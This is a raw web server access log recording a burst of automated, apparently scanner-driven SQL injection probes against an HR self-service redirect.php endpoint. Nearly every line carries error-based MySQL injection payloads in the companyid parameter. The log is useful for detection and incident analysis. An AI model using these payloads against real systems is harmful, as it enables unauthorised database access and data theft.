100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59506666%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d753634%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x3751716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66417038%29%2C5431%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33367550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6270674b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x33367550%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6270674b%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c583176%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d795337%29%29%2C1%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c583176%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d795337%29%29%2C1%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c623753%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38427039%29%29%2C1%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c623753%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38427039%29%29%2C1%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x634d614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48504178%29%2C5431%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x414f4c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55717650%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x414f4c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55717650%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x62536754%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44466b45%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x62536754%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44466b45%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33377464%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484b4258%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x33377464%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484b4258%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54494f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556f3874%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f45716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474a6242%29%29x%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f45716b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x474a6242%29%29x%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73515642%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51543943%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x70417639%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7843494a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x77436844%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c394861%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x46354256%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a653571%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x32323547%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5744564a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c623753%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38427039%29%29%2C1%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4c583176%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d795337%29%29%2C1%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:00 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x414f4c79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55717650%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
